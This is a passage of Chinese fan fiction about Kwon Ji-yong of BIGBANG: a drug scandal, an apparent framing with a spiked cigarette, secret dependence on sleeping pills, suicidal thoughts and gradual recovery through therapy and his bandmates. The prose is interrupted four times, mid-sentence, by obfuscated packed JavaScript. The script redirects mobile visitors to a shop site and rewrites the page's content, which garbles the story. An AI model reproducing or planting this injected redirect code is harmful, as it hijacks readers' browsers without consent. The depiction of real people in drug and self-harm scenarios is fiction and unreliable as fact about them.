她第一次感到如此的手足无措,如此的无能为力。之前的危机,无论是大声的事故带来的创伤,还是他们之间的矛盾,总有明确的目标和可以努力的方向。但这一次,敌人是看不见摸不着的‘科学证据’,是无法解释的‘检测结果’,是能瞬间摧毁一个人所有信念和生存的巨大冤屈与无力。 她沉默地站起身,走到窗边,把透进些许微光的缝隙彻底拉严,厚重的窗帘隔绝了外面可能存在的窥探和整个即将喧嚣沸腾的世界。 然后,她开始收拾凌乱的客厅。捡起地上散落的空酒瓶,擦掉茶几上已经干涸的水渍,将一切混乱和痛苦的痕迹一一清除,仿佛通过这种机械的劳动,就能让内心的痛楚平复一些。她需要做点什么,哪怕只是微不足道的小事。 整个过程,至龙始终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980242|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 维持着蜷缩的姿势,一动不动,像是失去生机的绿植。 收拾完,初星倒了一杯温水,放在他面前。 “至龙,喝点水吧。你嘴唇很干。” 他没有反应。 初星在他旁边坐下,没有靠近,刻意保持着一小段距离陪着他。 过了好久,至龙埋着头的方向传来一声气音,如果不是室内足够安静,几乎无法听清: “连你……也不信我吗……” 他在用这句话做最后的试探,也是在给自己宣判。 初星被这话疼得胸口处不停抽搐,连呼吸都为之一滞。 她没有任何犹豫,立刻回答:“我信。” 沙发角落里的雕塑似乎动了动。 初星看着他一碰即碎的脆弱背影,继续一字一句地说:“你说没有,我就信。我只信你亲口告诉我的话。” 又是一段长久的沉默。 然后,初星看到他的肩膀开始颤抖起来,幅度很小,却持续不断。从身体最深处挤出来的吸气声也断断续续传出。他没有哭出声,但那无声的啜泣比嚎啕大哭都更让人难受。 他终于再次抬起头,脸上泪痕交错,眼睛红肿,但死水般的眼睛里有了一丝波动。 “为什么……” “为什么会这样……我……做错了什么……” 初星伸出手,轻轻覆盖在他放在膝盖上的手背上。 “我不知道。但既然你说没有,那我们就不能放弃。一次不行就十次,十次不行就一百次。找出样本的问题,检测流程的漏洞,任何可能存在的疑点。总会有办法证明清白的!” “现在,先要活下去,至龙。像大声欧巴那样,先活下去,保住你自己。我陪你,我们一起面对。” 这一次,至龙没有避开她的目光。他看着她眼中的信任和坚定,心里那股孤立无援感,被撬开了一道细微的缝隙。 他反手,紧紧地、几乎是痉挛性地回握住她的手。眼泪无声地流了很久,直到干涸,留下紧绷的皮肤和红肿的眼眶。 哭完,他胡乱地抹了一把脸,深吸了一口气,气息颤抖,却不再是完全涣散。 他拿起沙发上仍在不断震动的手机,看了一眼屏幕上经纪人的无数个未接来电,眼神沉了下去。 “……我得去公司。” 初星的心揪紧了。她知道他必须去面对,但想到外面此刻必然已经围堵得水泄不通的媒体,就感到恐惧。“外面现在……” “我知道。经纪人哥会想办法的。”他站起身,身体微微晃了一下,但很快稳住。他寻找着帽子和口罩,将自己一层层包裹起来。 初星站在原地看着他动作。她想陪着他,但他们不能一起出现,尤其是在这种时候,一丝一毫的牵连都可能让局面更加复杂难堪。 至龙穿戴整齐,走到门口,手握上门把,停顿了片刻,没有回头。 “等我回来。”他低声说,声音被口罩滤过,模糊不清,随后拧开门把,闪身出去。 门合上,隔绝了他的身影。 初星立即冲到窗边,撩开窗帘一角向下望去。楼下果然已经乱成一团,黑压压的人群和闪烁的镜头汇聚成令人心悸的浪潮。她看不到他是怎么离开的,只能提心吊胆地等待着。 时间变得无比漫长。她一直刷着手机,看着新闻持续发酵,各种猜测和恶评蔓延,每一个字都像针一样扎在她心上。她担心他一路上的安全,更担心他面对公司、面对这一切时的状态。 几个小时后,门口传来开锁声。 初星立刻冲过去。 门打开,至龙走了进来。他身上的伪装依旧严实,但散发出的气息比离开时更冰冷绝望。他甚至没有换鞋,径直穿过客厅,看也没看初星一眼。 “至龙?”初星担忧地叫了他一声。 他没有回应,像是根本没听到。他走到卧室门口,打开门,然后反手—— “砰。” 一声不算重的关门声响起。紧接着,是门锁从里面扣上的咔哒声。 他把自己关了起来。 又一次。 去公司一趟,不仅没有找到任何解决的希望,反而将他推入了更深的绝境。 初星站在紧闭的卧室门外,听着里面的寂静,心里因为他离去前升起的小小火苗,瞬间被这冰冷的关门声彻底扑灭。 85.第 85 章 初星在门外坚守一天一夜,送去的食物和水一点没动,但她没有放弃,每隔几小时就换上热的。 第二天傍晚,她的手机响了起来,是永裴的来电。 初星触电般立即接起,心脏不受控地狂跳起来,既期待又恐惧。“永裴欧巴?” 永裴的声音听起来分外沉重:“初星啊,我们…我们这边,可能…找到一点方向了。” 初星握紧了手机,指节发白:“什么方向?到底是怎么回事?” 永裴的吸气声透过电流传来,有着清晰的痛苦和挣扎:“你还记得我们五月在日本的行程吗?就在……就在大声出事前一点点时间。” “我记得。”初星的眼皮抽动,不祥的预感传来。那段时间的灰暗,此刻被重新提起,带着一种诡异的关联性。 “公司动用了很多…很多见不得光的关系,查了很久,调取到了一些非常模糊的监控片段…拼凑出来一个…一个让人脊背发凉的可能性…可能…是有人故意的。是冲着我们来的。因为我们在日本那边…风头太盛了,太扎眼了,挡了别人的路。” 初星屏住了呼吸,一股寒意从尾椎骨窜上头顶,让她四肢冰凉。 “有迹象表明,当时…可能有身份不明的人,伪装成粉丝,在…在某个非公开场合,比如后台通道、庆功派对间隙…刻意接近了至龙。” “他们可能趁着他疲惫,又利用了他对粉丝的不设防和善意…给他递了烟,而…而那支烟…极有可能…被动了手脚。用了某种…难以立刻察觉的东西。” “怎么会…这样……”她无法消化这远超想象的、充满恶意的阴谋。 “对方做得非常专业和老道,挑的时间、地点都极其刁钻,完全利用了至龙的心理盲区……现在还在追查具体的人和背后指使的势力,但这…这太…太……” 初星急切喊道:“欧巴!我知道了!我这就告诉至龙!他必须知道!他……” “初星啊,”永裴打断她,语气变得不忍,“你…你告诉他的时候,一定要…小心一点。这个真相…它可能并不像我们想的那么…是一种解脱。它太……残忍了。我担心他……” 初星的心又沉了一下。 她明白永裴的意思,但她顾不了那么多了,她必须告诉他,不能让他在自我xd的罪恶感中沉沦。 她匆匆挂了电话,火速扑到门前敲打着门板: “至龙!开门!快开门!永裴欧巴打电话来了!查到了!是陷害!是有人在日本故意害你!你不是故意的!是有人给你下了套!” 里面传来哐当的闷响,接着是滞重地脚步声靠近门边。 门被拉开。 至龙站在门口。他死死地盯着初星,眼球上满是红血丝,眼神混乱而锐利: “你……说什么?” 初星快速重复着:“永裴欧巴说查到了!五月在日本的时候!有人假装成粉丝!故意接近你!给你递了有问题的烟!是陷阱!是陷害!因为你们在日本太红了,有人要害你!是故意的!你不是自愿的!是陷害!” 至龙木在原地,脸上的肌肉抽动了几下,眼神从最初的茫然变为极度的震惊和恍然,然后是滔天的愤怒,但最后…都定格成深不见底的绝望和全面崩溃。 “我没有主动吸毒”的信念还在,但“我的身体确实摄入过毒品”这个铁一般的事实,连同着被设计、被背叛、被玷污的极致羞辱感和无力感,将他最后一点赖以支撑的心理防线击破。 他踉跄着后退一步,脊背重重撞在门框上。 然后,他抬起自己的手,看着曾经接过那支烟、曾经夹着它、曾经将它递到唇边的手。那双创作了无数音乐、握过无数奖杯、也曾与她十指相扣的手。 “所以…那支烟…我真的…吸了…吸进去了……” “我真的……吸了……进去了……” 他顺着门框滑坐到地板上,脸埋进膝盖里,发出了扭曲的、像是哭又像笑的声音。 初星看着他完全崩溃的样子,听着他心碎的声音,自己也快痛得无法呼吸。 她本能地想要靠近,想要抱住他骤然破败的身体,想要用温暖他,却被他用带着自毁倾向的力量猛地推开。 “走开……” “别碰我……脏……” “我现在……连我自己……都觉得我自己……脏透了……” 初星被这个字眼和他的自我厌弃和恶心感吓得僵在原地。她不敢再贸然触碰,只能无力跪坐在他面前,哽咽说着:“不…不是的…至龙,你不脏…是那些人的错!是他们的错!你是受害者啊!” 但他被困在了一个污秽的噩梦里,对外界的一切安慰都失去了接收能力,沉溺在惩罚的炼狱中。 就在这时,初星的手机又响了起来,还是永裴。她呜呜地哭着:“欧巴…他不行了…他垮了…我说了…他…他更崩溃了…我怎么办……” 永裴在电话那头沉默了很久,久到初星以为信号断了,再开口时,他的声音里是被现实碾压后的无奈:“初星啊…情况有变。公司…公司评估后,认为…认为他现在的状态,根本不适合面对媒体和公众…强行开发布会,只会让情况更糟……” 初星想着至少暂时不用面对外界了,但又被更大的不安攥紧了。 “那……那怎么办?”她迫切地问。 “公司刚开了紧急会议,决定无限期暂停他所有行程和活动。同时…会马上…发布官方声明。” “声明?”初星抱着一丝微弱的希望,“会在声明里说明是被陷害的吗?” “声明稿我刚刚看过了。公关部选择了…一种…模糊化的方式。承认摄入事实,对此深刻道歉。解释原因是……‘在私人聚会中,因疏忽大意接受了来自身份不明人士递来的香烟’,并未提及任何陷害的猜测,也……没有强调‘绝对没有吸毒意图’的立场。” 初星瞪大了眼睛,血液倒流冲得她头晕目眩,几乎站不稳:“什么?!为什么不说清楚?!这是陷害啊!是犯罪啊!” “证据不足!律师说现有的线索太间接,监控模糊到根本无法指认具体的人,更别提牵扯出背后可能的势力了!贸然提出‘陷害论’,如果没有铁证跟上,只会被舆论反噬,被说成是狡辩、洗白、转移视线!公司的决策是…止损。在那些坐在会议室里的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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官方声明……道歉……承认接受他人香烟……私人聚会……友人……疏忽…… 没有陷害。没有真相。 只有他一个人的“疏忽”和“错误”。 他被放弃了。 他被定义为了一个“不慎吸毒”的堕落偶像。 他成了那个需要被切割以保全大局的弃子。 “呵……呵呵……哈哈哈……”他又发出扭曲的轻笑声,肩膀剧烈颤抖起来。 初星惊恐万状地看着他:“至龙…不是那样的…你看着我……” 他抬眼看向初星,眼底是无边无际的、冰冷的、彻底的黑暗和嘲讽。 那嘲讽是对他自己,也是对这整个荒谬、冷酷、吃人世界的。 “原来……是这样啊……” “没有陷害……没有阴谋……只是我……权至龙……不小心……在派对上……抽了支不该抽的烟……是吧?真简单……真方便……” “也好……省事了……反正……都一样……吸了就是吸了……脏了就是脏了……没什么区别了……” 他晃悠着站起来,一步步后退,远离初星,仿佛她也是那场背叛的一部分,是那个“外界”的代表。随后转过身,毫无生气地走回卧室的阴影里。 这一次,他没有锁门。 只是虚掩的门后,散发出的不再是痛苦的绝望,而是心如死灰的安静。 他的灵魂已经在刚才那一刻,随着那条声明,被公开宣判了死刑。 所有的挣扎、所有的痛苦、所有的希望,都戛然而止。 86.第 86 章 初星不敢进去,也不敢离开。她僵直地守在客厅,手机屏幕早已被她按熄,但一条条新闻,却像滚烫的烙铁,反复灼烧着她的神经和视网膜。她几乎能看见外面的世界掀起的滔天巨浪——无尽的咒骂、尖刻的嘲讽、铺天盖地的失望……所有恶意的洪流,都无情倾泻向了那个被定义为“因疏忽犯错”的男人。 不知过了多久,也许几个小时,也许更久。天色从昏黄沉入墨一般的漆黑,只有远处的霓虹在窗帘缝隙外投下模糊的光晕。 那扇虚掩的门,终于被从里面推开了一条更宽的缝隙。 至龙走了出来。 他看也没看初星,径直走向厨房,打开冰箱,拿出冰水。 他的手很稳,稳得不自然,拧开瓶盖,仰头咕咚咕咚喝了几大口,喉结滚动着。 初星看着他这种状态更烦忧了,还有一丝恐惧。她战战兢兢的开口,声音干涩:“至龙……” 至龙侧过头,目光迟缓地落在她身上,那眼神空洞得让她心寒。 “公司……给我打电话了。暂停所有活动。无限期。让我……好好‘休息’。”他的语气平淡,带着漫不经心的讽刺。 他扯动嘴角,似乎想笑一下,但那弧度看起来比哭更难看。 “也好。”他重复了之前的话,垂下眼睑,看着手中的水瓶,“累了。真的…累了。” 他说完,没再看初星一眼,拿着水瓶,又走回了昏暗的卧室阴影里。 这一次,他还是没有关门,那扇虚掩的门,像一张无声嘲讽的嘴,仿佛在说:一切都已失去意义,里外早已一样冰冷。 初星想拉住他,试图留下一些余温,却只能感受到一片冰凉,也没法抑制从心底里漫出的悲哀。 接下来的日子,至龙不再将自己锁起来,他“正常”的生活。他会按时吃饭,虽然吃得很少;他会睡觉,虽然常常在深夜惊醒;他会打开电视,但眼睛失神,屏幕里播放着什么都与他无关。 他不再提那件事,不再碰手机,不再关心任何外界的消息。他只是存在着,像一抹没有温度的影子。 初星尝试过和他说话,尝试着提起律师还在调查,尝试着说成员们都想来看他,尝试着说还有粉丝在支持他。 但他没有任何反应。大多数时候,他只是沉默地听着,然后点点头,或者发出一个单调的音节表示知道了。 初星宁愿他发泄,宁愿他怒吼,也不愿看到他这样…… 她守着这座已然失去了心跳的家,守着这个看似正常却已然枯萎的爱人,感觉自己也在被一点点吞噬。 她不知道这场‘休息’会持续多久,不知道他还能不能从这片绝望的死水中挣扎出来。她只知道,她不能离开。即使他不再看她,不再需要她,她也要守在这里,守着这具空壳,等待着黎明的到来。 直至一个深夜。 初星从并不安稳的睡梦中惊醒,心脏莫名狂跳,下意识地伸手摸向旁边,触手所及是一片空荡。她瞬间清醒过来,卧室门虚掩着,微弱的光从门缝底下透进。 她悄无声息滑下床,赤着脚像猫一样挪到门边,轻轻将门推开一条更宽的缝隙。 至龙正背对着卧室方向,坐在沙发旁的地毯上,微低着头,手里攥着一个小瓶子。 初星看到他用抖动的手拧开瓶盖,倒出几粒药片在掌心,仰头倒入口中,甚至没有用水送服,只是梗着脖子,困难地吞咽了一下。 整个过程安静、迅速、一气呵成,带着令人心悸的习以为常和麻木。 做完这一切,他蜷在原地,肩膀垮塌下去,仿佛在等待药效发作,又或者只是单纯耗着时间,等待下一个循环的开始。 初星死死捂住自己的嘴,才没有让那声惊叫冲破喉咙。她不敢发出任何声音,甚至不敢呼吸,凭借着强大的意志力,一步步极其缓慢地退回了床边,重新躺下,拉高被子,把自己严严实实地盖住,连头发丝都缩了进去,假装从未醒来过,从未看见过那一幕。 没多久,至龙走了回来,动作比平时更慢,更沉重,带着药物作用下初现的迟缓。他在床边站了片刻,才掀开被子躺下。 很快,他的呼吸变得异常沉重,那是被强制拖入的、深沉的、几乎毫无知觉的睡眠。 确认他完全睡熟后,初星再次睁开眼,眼泪憋不住地汹涌而出。她死死咬住下唇,用疼痛强迫自己不发出一丝一毫的抽泣声,身体因为极度的压抑而微微痉挛。 她坐起身,借着窗外透进的光线,看着身边男人沉睡的侧脸。即使在深度睡眠中,他的眉头依旧蹙着,嘴角向下撇着,仿佛在梦中依旧承受着无边无际的重压和痛苦。 她深吸一口气,狠狠抹掉泪水,随后蹑手蹑脚地下床。 走到客厅,凭着记忆,走到他刚才蜷过的位置,跪在地毯上,哆嗦着双手,摸索着沙发下的缝隙、茶几底下、地毯的边缘阴影处……每一个可能藏匿的角落。 终于,她的指尖触碰到了塑料瓶。它藏得并不算多么高明,或许他本身也并非真想费心隐藏,只是不愿让她轻易看见,维持着最后一点可怜的自尊,或是不想让她面对这更加不堪的现实。 初星用颤抖得几乎握不住东西的手,费力地将那个小瓶掏了出来。 她走到窗边,撩开窗帘一角,让更多的城市光污染照进来,看清了瓶身的标签。是一种强效的安眠药。瓶身上的标签显示,这瓶药的开具时间就在近期,剂量不小。 所以,他所谓的“睡觉”,是依靠这个。 所以,他那种异样的平静和麻木,不仅仅是心死,也掺杂了药物的作用。 所以,他每夜独自起身,在黑暗中服下这些药片后回到床上,假装一切正常,维持着表面摇摇欲坠的平静。 初星紧握着冰凉刺骨的小药瓶,瓶身的棱角硌得手心生疼,但远不及心口万分之一。她滑坐在地毯上,牙齿都在发抖,却没发出一点声音,任由泪水肆虐,哭到眼泪流干,喉咙哽咽发痛。 她不敢想象,如果没有这瓶药,他该如何度过每一个漫漫长夜。她更不敢想象,长此以往,依赖这种剂量的药物,这瓶“救命”的药,又会将他的身体和精神最终带向怎样万劫不复的深渊。 她不能让他这样下去。绝对不能。 她也不能慌。如果她垮了,那他就真的没指望了。 她摇摇晃晃地站起来,走进卫生间,刺骨的冷水一遍遍冲洗红肿刺痛的眼睛,看着镜子里那个苍白失措的自己,强迫自己冷静下来,不停深呼吸。 之后她把药瓶藏在衣柜最深处的大衣里,然后回到床边,静静躺在至龙身边。她不敢睡,只是睁着眼睛,在黑暗中听着他毫无生气的呼吸声,直到天色渐亮。 至龙醒来时,眼神还是带着挥之不去的空洞和滞涩。他反应迟钝,对初星准备的早餐只是动了几筷子,味同嚼蜡。 初星像往常一样,语气平静地和他说话,观察着他。 而至龙一整天都坐立难安,会在房间里反复踱步,手指频繁地用力揉着眉心,眼神时不时地、带着一种近乎神经质的焦虑,扫过客厅沙发、茶几、以及卧室的各个角落。 初星假装整理衣柜,故意弄出些声响,试图干扰他的注意力,或者借口需要他帮忙挪动一下家具,分散他的精力。 夜幕再次降临,她紧张地、几乎是不错眼地观察着至龙。 他比白天更焦躁和难以自持。虽然依然沉默,但那沉默里充满了即将爆发的能量。他在沙发上坐立不安,频繁变换姿势,电视里播放着什么他根本看不进去,眼神涣散,手指焦躁地敲打着膝盖或沙发扶手,呼吸逐渐变得有些急促、额头上渗出了细密的冷汗。 初星躺在一旁的沙发上,假装睡着,眼睛却眯成一条缝,感官高度集中,关注着他的一举一动。 在接近午夜的时候,他猛地从沙发上弹起来,开始在客厅里偏执地焦灼翻找。 抽屉被粗暴地拉开,里面的东西被翻得乱七八糟;沙发垫被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988263|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个个掀开,又胡乱地塞回去;书架上的书本被抽出来又插回去……动作越来越急,幅度越来越大,带着一种濒临崩溃的疯狂。 “在哪……到底在哪……”他发出极其痛苦的呻吟低语,汗水浸湿了他的头发。 初星再也装不下去,她坐起身,轻声问:“至龙?这么晚了,你在找什么?” 至龙的动作顿住,转过身,看向初星,眼神里满是被巨大需求驱使的急切与脆弱。 “药……我的药……你看见了吗?一个小白瓶……帮我睡觉的……” 他急切地用手比划着大小。 初星看着他这副被折磨的样子,内心柔软的部分在叫嚣,差点就要忍不住把药还给他,结束他的痛苦。 但她不能。 她摇头,脸上露出困惑和担忧:“没有啊。什么药?你哪里不舒服吗?是不是失眠又加重了?要不要我现在打电话叫医生来看看?” “不是医生!”至龙突然激动起来,用力抓着自己的头发,声音带着哭腔,“是帮我睡觉的药!白色的药片!没有它……我睡不着……我…我没办法……熬过去……” 他在原地痛苦地打转,□□:“给我…求你了……娜比…如果你知道在哪……还给我……没有它…我会疯的……真的会疯的……” 初星一步步走向他,在他面前停下,距离近得能感受到他身体散发出的焦躁的热气。她看着他布满痛苦和依赖的脸,心如刀绞,坚定地伸出手,轻轻握住他潮湿的手。 “至龙,看着我。” “我们不吃那个药了,好不好?” “睡不着,就不睡。我陪你熬着。难受,就告诉我。想哭,就哭出来。怎么样都行,我都在这里。” “但是,我们不吃那个药了。再也不吃了。” 她用力握紧他的手,直直的注视着他的眼睛,偏深的眸子里透着温柔。 至龙愣愣地看着她,里面的疯狂和焦躁慢慢褪去,但更深的无助和恐惧袭来。 “没有药……夜晚…太长了……黑得没有尽头……那些声音…那些骂声…那些画面…它们会来……它们会把我吃掉……我害怕……” 他神色空茫,垂着眼眸,眼泪混合着汗水滑落,额角的青筋一跳一跳的。 “我知道。”初星伸出另一只手抚着他的脸颊,温柔的亲吻他的眼尾,“我知道夜晚很难熬,黑得让人害怕。但我会在这里,我陪着你,一直在这里。它们来了,我陪你一起面对。我不会让它们吃掉你。” “今晚,我们不睡了。我陪你看电视,或者我们就这么坐着,说说话,或者什么都不说,只是待着。直到天亮。我们一起,看着天亮起来。” 她拉着他,不再让他无头苍蝇般乱转,引导着他走到沙发边坐下。 至龙没有再挣扎,也没有再歇斯底里地要求找药。他只是靠着初星,抱紧她的腰,紧闭着眼,把脸深深埋进她小腹处。 这是一个煎熬的夜晚。至龙的情绪像过山车一样几度起伏,时而死寂麻木,长时间一言不发;时而焦躁低落,反复念叨着“怎么办”、“过不去了”;时而突然流泪,没有抽噎,只是静静流淌,仿佛悲伤已经成了身体的本能反应。 初星始终陪着他,当他沉默时,她便握着他的手;当他焦躁时,她便轻声和他说话,内容无关痛痒,只是用声音安抚;当他流泪时,她便递上纸巾,或者只是更紧地抱住他。 没有药物的强制麻痹,真实的痛苦如同反复涨潮的海水,一次次冲刷着他脆弱不堪的神经,也同时折磨着初星。但至少,他是在清醒地面对,而不是用药物将自己放逐到一片虚假平静里。 天亮时分,至龙在极度的身心疲惫和黎明带来的微弱安抚中,短暂地浅眠了过去。 初星一动不动地坐着,大腿早已被压得酸麻刺痛,却不敢移动分毫。 她看着外面染着淡粉和橙金色的天空,又低头看着满脸痛苦的男人,仰着脖子,头靠在沙发背上,有泪滑过眼角。 87.第 87 章 初星推掉了所有能推的工作和社交,寸步不离地守着至龙。 至龙的父母打来电话,话语里满是心疼无措。初星每次都会走到阳台,压低声音安抚:“伯父伯母,别太担心,有我在这里陪着他。” “嗯,我知道,最近……尽量少上网吧,别看那些不好的言论。” “会的,会好起来的,只是需要时间。你们保重身体。” 她小心谨慎地过滤着来自外界的风雨,努力为他保留最后一方相对平静的废墟。而关上门,她要面对的,是至龙变幻莫测的情绪漩涡。 戒断带来的生理不适和心理上的空洞感加倍地折磨着他。他常常整夜无法入睡,睁着眼睛望着天花板,或者毫无目的地在房间里踱步。初星就陪着他,有时说话,有时只是并肩坐着。 在又一个几乎无眠的凌晨。天色将亮未亮,房间里是一片压抑的灰蓝色。至龙忽然停止了脚步,背对着初星。 他的声音很轻很轻,飘忽得像是随时会碎掉,带着彻骨的迷茫和疲惫: “娜比……我好像……找不到活着的意义了……” 初星听到这话,磕磕绊绊地冲过去,从身后用尽全身力气抱住他,手臂环住他消瘦的腰身,脸贴着他微凉的后背,灼热的眼泪涌出,渗入他的肌肤。 “……有我。” “你找不到……我就陪你找……一直找……” “我们可以退出娱乐圈,不管那些了,好不好?我们离开这里,去一个没有人认识我们的地方,过普普通通的生活,种花,养家虎,晒太阳……我们重新开始,一定能找到别的意义的……” “至龙……我们去看医生,好吗?不是因为你不好……是我们需要帮助……陪我一起去,好吗?陪着我……” 她贴得更紧,低声恳求,唯恐失去面前‘睡着’的爱人。 温热的液体滴在他身后,太轻太重。 她在发抖。她在哭。她在害怕。 他迟钝地转过身,环抱住她的肩。 埋在她颈窝时,他眼睛缓慢眨了眨,眨出一片水光。 最终,他幅度很小地点了一下头。 一个微小的、沉重的动作。 初星的眼泪却流得更凶,她紧紧抱着他,倚靠在他胸膛上,听着耳边传来的阵阵极速心跳。 抱了好一会,她轻轻松开他,拉着他坐下。 “饿不饿?我去热点牛奶?”她柔声问,平常得像任何一个普通的早晨。 至龙摇了摇头,目光落在虚空中。 初星没有强求,倒了杯温水递给他。 他接过喝了一口。 沉默再次蔓延,但已经和之前不同了。 几天后,初星再次提起看医生时,至龙犹豫了很久,然后极其缓慢地点头。 预约的过程并不容易。需要绝对保密,需要找到足够专业且口风极严的心理医生。永裴和TOP暗中帮了忙,动用了非常私人的关系网。 第一次去诊所的那天,至龙早上就开始焦虑。他反复整理其实很平整的衣角,心里充满了恐惧和抗拒,甚至一度想要反悔。 “只是去聊聊天,我就在外面的休息室等你,一步都不离开。如果你觉得不舒服,我们随时可以走。”初星歪头与他额头相抵,指尖安抚似的在他后颈滑动着。 他还是去了。戴着帽子和口罩,把自己裹得严严实实,像是走向审判台。 在诊疗室门口,他停下脚步,垂首与初星对视,露出一双湿润的眼眸。 初星对他努力笑了笑,发射了好几个飞吻。 门关上。初星坐在休息室里,感觉一个多小时长得像一个世纪。她听不到里面的任何声音,只能胡乱猜测着里面的情况,心始终悬在半空。 等门再次打开时,至龙走出来,脸色还是苍白,但那种紧绷到极致的僵硬似乎缓解了一些。他走到初星身边,默默握住她的手,手心依旧冰凉,却不再那么死寂。 到了晚上,无法入睡的焦躁感再次袭来时,他没有像之前一样痛苦地踱步或崩溃,而是对初星说:“医生说……可以试着……把那些想法写下来……” 他的声音很小,带着不确定和尝试的意味。 初星立刻找来纸笔,放在他面前。 他拿起笔,对着空白的纸页发了好久的呆,然后才歪歪扭扭地写下一些破碎的词语和句子。 初星安静陪在一旁,没有去看他写什么。 这并不是立竿见影的奇迹。之后的治疗过程反复又艰难。有些时候他从诊所回来会显得更疲惫、更脆弱,仿佛又失去了所有生机。情绪还是会突然低落,夜晚依然难熬。 但变化确实在一点点发生。他偶尔会愿意和初星多说一两句关于治疗的话题,尝试着医生教的一些简单的呼吸放松法来应对突如其来的焦虑。 更重要的是,他不再拒绝这个世界。有时初星故意讲一些很蠢的冷笑话,或抱怨一下天气、饭菜,他会给出反应,比如极轻地哼一声,或者嘴角牵动一下。 这些变化,或许看来微不足道,但对于一直守着他的初星来说,却如同在漫长极夜中看到的极光,微弱,却足以让她热泪盈眶,让她有勇气继续坚持下去。 她仍然每天过滤着外界的恶意,温和坚定地回应着亲人朋友的担忧,守护着这片脆弱的、正在缓慢重建的世界。 等至龙能够进行更长时间的交谈后,他开始重新接触音乐,最初只是无意识在桌面上敲击节奏,后来会在初星睡着后,一个人坐在客厅里,用极低的音量播放一些以前的demo,眼神复杂地听着。 阳光很好的午后,初星坐在阳台的躺椅上看书,至龙走过来,在另一张椅子上坐下,看着窗外。 过了一会儿,他忽然开口,声音有些哑,却比之前多了些活气: “永裴昨天……打电话来了。” 初星放下书,心微微一提,忐忑地问:“嗯?他说什么?” “他说……成员们……都很想我。” “他们……练习的时候……总会空出我的位置。” “胜利那小子……又闯了点小祸……没我在旁边看着……他有点无法无天了。” 他顿了顿,似乎在组织语言,或者说,在尝试触碰那个他曾经无比熟悉的世界,“TOP哥……还是老样子……但永裴说,他偷偷画了很多画……大声他……” 提到大声,他又哽了一下,继续说着,“他恢复得还不错,话多了点……还会问起我。” 初星嗯了一声,表示她在听。 又是一阵沉静。阳光暖融融地洒在两人身上。 “我……我好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994749|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……也有点……想他们了。” 初星猛转头,看着他被阳光勾勒出柔和光晕的侧脸,压下鼻尖的酸意,微笑着说:“那……等下次永裴欧巴再打电话来,你再跟他说说话?或者,让他们过来看看你?” 至龙没有回答,手指抠着躺椅的扶手,内心在权衡,在挣扎。 过了好一会儿,他应了一声。 几天后,永裴来了。没有提前说具体时间,只是在一个普通的傍晚,按响了门铃。至龙听到门铃响,身体下意识绷紧了一下,眼神里掠过一丝惊慌。 初星拍了拍他的手背,走去开门。 永裴站在门口,手里拎着水果,脸上带着一如既往的温和笑容,看起来真像是顺路过来串个门:“至龙啊,我买了你以前喜欢吃的葡萄,一起尝尝?” 至龙手足无措地看了眼永裴,又迅速垂眸,点了点头。 那次的见面时间不长,气氛也有些微妙的尴尬和生涩。大部分时间是永裴在说,说着团队里一些无关紧要的琐事,偶尔逗趣一下。至龙只是听着,很少搭话,但也没有表现出排斥和痛苦。 永裴离开的时候,至龙还送他到了门口。 门关上后,至龙在原地站了很久,随后吁出了一口长长的气。 初星走过去,握住他的手,发现他的掌心有些潮湿,但不再是冰冷的。 “永裴欧巴看起来很高兴。” 至龙嘴角向上弯了一下,是一个几乎看不出的、却真实存在的笑意。 而随着永裴成功的突袭,那层将至龙与外界隔绝的无形壁垒,也被撬开了一道更宽的缝隙。 TOP会发来一些他画的抽象画照片,附上简短的、甚至有些莫名其妙的说明。至龙会回复一个简单的“嗯”或者“好看”。胜利咋咋呼呼的在群聊里发一些搞怪的表情包和琐碎的抱怨,至龙大多时候沉默,但初星有次瞥见,他看着手机屏幕上胜利夸张的自拍,抿唇浅笑。 大声的恢复情况是最好的消息。他会打来电话,主动和至龙分享一些心理医生教他的、应对负面情绪的小方法。 至龙的状态确实好了很多。虽然眉宇间还会掠过一丝阴霾,夜晚仍需要借助一些温和的助眠手段,但他已经能够相对正常生活。他会定期回家和父母吃饭,陪着母亲逛超市,和父亲下棋,享受着曾经因为忙碌而忽略的家庭温暖。 成员们也来得更勤了。不再是小心的探望,而是真正的相聚。他们带来外卖,挤在客厅里边吃边看以前的演唱会录像,大声吐槽彼此的造型,胜利负责活跃气氛,永裴和TOP在一旁笑着。 